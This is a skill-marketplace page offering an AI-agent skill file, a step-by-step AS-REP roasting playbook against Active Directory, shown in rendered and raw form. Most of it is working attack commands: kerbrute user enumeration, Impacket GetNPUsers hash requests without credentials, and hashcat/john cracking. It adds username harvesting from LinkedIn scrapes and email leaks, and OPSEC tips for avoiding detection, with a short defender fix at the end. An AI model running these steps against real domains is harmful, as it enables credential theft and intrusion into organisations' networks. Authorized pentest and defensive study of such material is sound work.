How do I install the Asrep Roasting skill?

Run npx skillmds@latest add purpleailab/asrep-roasting in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Asrep Roasting safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Asrep Roasting?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Asrep Roasting free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Asrep Roasting?

purpleailab (@purpleailab) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Asrep Roasting by purpleailab — Agent Skill

Name: Asrep Roasting
Author: purpleailab

File contents

AS-REP Roasting Playbook

Prerequisite

None — no valid domain account needed. Network reachability to a DC on TCP/UDP 88 is enough. This makes AS-REP roast more powerful than kerberoast in some engagements (zero-auth pre-recon win).

1. Identify vulnerable users

From BloodHound:

kg_query(kind="user", filter="dontreqpreauth=true and enabled=true")

Direct LDAP (if you have any cred or anonymous-bind allowed):

ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
  sAMAccountName

Or brute-force user discovery (only when no LDAP access):

# Username list from OSINT, kerbrute validates which exist
kerbrute userenum --dc DC_IP -d DOM users.txt

2. Request AS-REP

Impacket (zero-auth path):

GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \
  -format hashcat -no-pass -outputfile /tmp/asrep.hashes

With creds (more reliable, also enum):

GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \
  -format hashcat -outputfile /tmp/asrep.hashes

Output format: $krb5asrep$23$USER@DOM:<ciphertext> (RC4).

3. Crack offline (hashcat mode 18200)

hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \
        --rules-file /usr/share/hashcat/rules/best64.rule

# John alternative
john --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes

AS-REP-roastable users tend to be:

Legacy service accounts (sysadmin set DONT_REQ_PREAUTH to "fix" a ticket issue in 2014, never reverted)
Test / dev accounts with weak passwords
Accounts created from a misconfigured PowerShell script

Crack rate is typically higher than kerberoast — these users are often forgotten accounts with weak passwords.

4. Userlist sources when zero-auth

Without LDAP, your userlist comes from:

kerbrute userenum against common lists (jsmith.txt, statistically-common-usernames)
LinkedIn scrape → format conversion (firstname.lastname, flastname)
Github commit emails from company orgs
Email leaks (HIBP, Dehashed if op-authorized)
Subdomain enumeration → username patterns in metadata

5. Promote

kg_add_node(kind="credential", label="USER:CRACKED_PW",
            props={"source":"asrep-roast","preauth":"disabled"})

OPSEC

AS-REQ without pre-auth is event 4768 on the DC
Defender's tell: 4768 with Pre-Authentication Type=0 (no preauth)
Username enum via kerbrute generates 4768 spam — throttle or accept detection if engagement allows
A single AS-REP request per known user is quieter than enumeration

CVSS

Multiple roastable + crackable: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 (PR:N because no creds needed)
One roastable, uncrackable: Informational + fix recommendation

Defender fix

Remove DONT_REQ_PREAUTH flag:

Set-ADAccountControl -Identity USER -DoesNotRequirePreAuth $false

Audit policy: UserAccountControl & 0x400000 should be zero on all real users.

---name: asrep-roastingdescription: Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required.---# AS-REP Roasting Playbook## Prerequisite**None** — no valid domain account needed. Network reachability to a DC onTCP/UDP 88 is enough. This makes AS-REP roast more powerful thankerberoast in some engagements (zero-auth pre-recon win).## 1. Identify vulnerable usersFrom BloodHound:```kg_query(kind="user", filter="dontreqpreauth=true and enabled=true")```Direct LDAP (if you have any cred or anonymous-bind allowed):```bashldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \ -b 'DC=corp,DC=local' \ '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \ sAMAccountName```Or brute-force user discovery (only when no LDAP access):```bash# Username list from OSINT, kerbrute validates which existkerbrute userenum --dc DC_IP -d DOM users.txt```## 2. Request AS-REP**Impacket** (zero-auth path):```bashGetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \ -format hashcat -no-pass -outputfile /tmp/asrep.hashes```**With creds** (more reliable, also enum):```bashGetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \ -format hashcat -outputfile /tmp/asrep.hashes```Output format: `$krb5asrep$23$USER@DOM:<ciphertext>` (RC4).## 3. Crack offline (hashcat mode 18200)```bashhashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \ --rules-file /usr/share/hashcat/rules/best64.rule# John alternativejohn --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes```AS-REP-roastable users tend to be:- Legacy service accounts (sysadmin set DONT_REQ_PREAUTH to "fix" a ticket issue in 2014, never reverted)- Test / dev accounts with weak passwords- Accounts created from a misconfigured PowerShell scriptCrack rate is typically **higher** than kerberoast — these users are oftenforgotten accounts with weak passwords.## 4. Userlist sources when zero-authWithout LDAP, your userlist comes from:- `kerbrute userenum` against common lists (jsmith.txt, statistically-common-usernames)- LinkedIn scrape → format conversion (`firstname.lastname`, `flastname`)- Github commit emails from company orgs- Email leaks (HIBP, Dehashed if op-authorized)- Subdomain enumeration → username patterns in metadata## 5. Promote```kg_add_node(kind="credential", label="USER:CRACKED_PW", props={"source":"asrep-roast","preauth":"disabled"})```## OPSEC- AS-REQ without pre-auth is **event 4768** on the DC- Defender's tell: 4768 with `Pre-Authentication Type=0` (no preauth)- Username enum via kerbrute generates 4768 spam — throttle or accept detection if engagement allows- A single AS-REP request per known user is quieter than enumeration## CVSS- Multiple roastable + crackable: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` = 10.0 (PR:N because no creds needed)- One roastable, uncrackable: Informational + fix recommendation## Defender fixRemove `DONT_REQ_PREAUTH` flag:```powershellSet-ADAccountControl -Identity USER -DoesNotRequirePreAuth $false```Audit policy: `UserAccountControl & 0x400000` should be zero on all real users.

Frequently asked questions

Asrep Roasting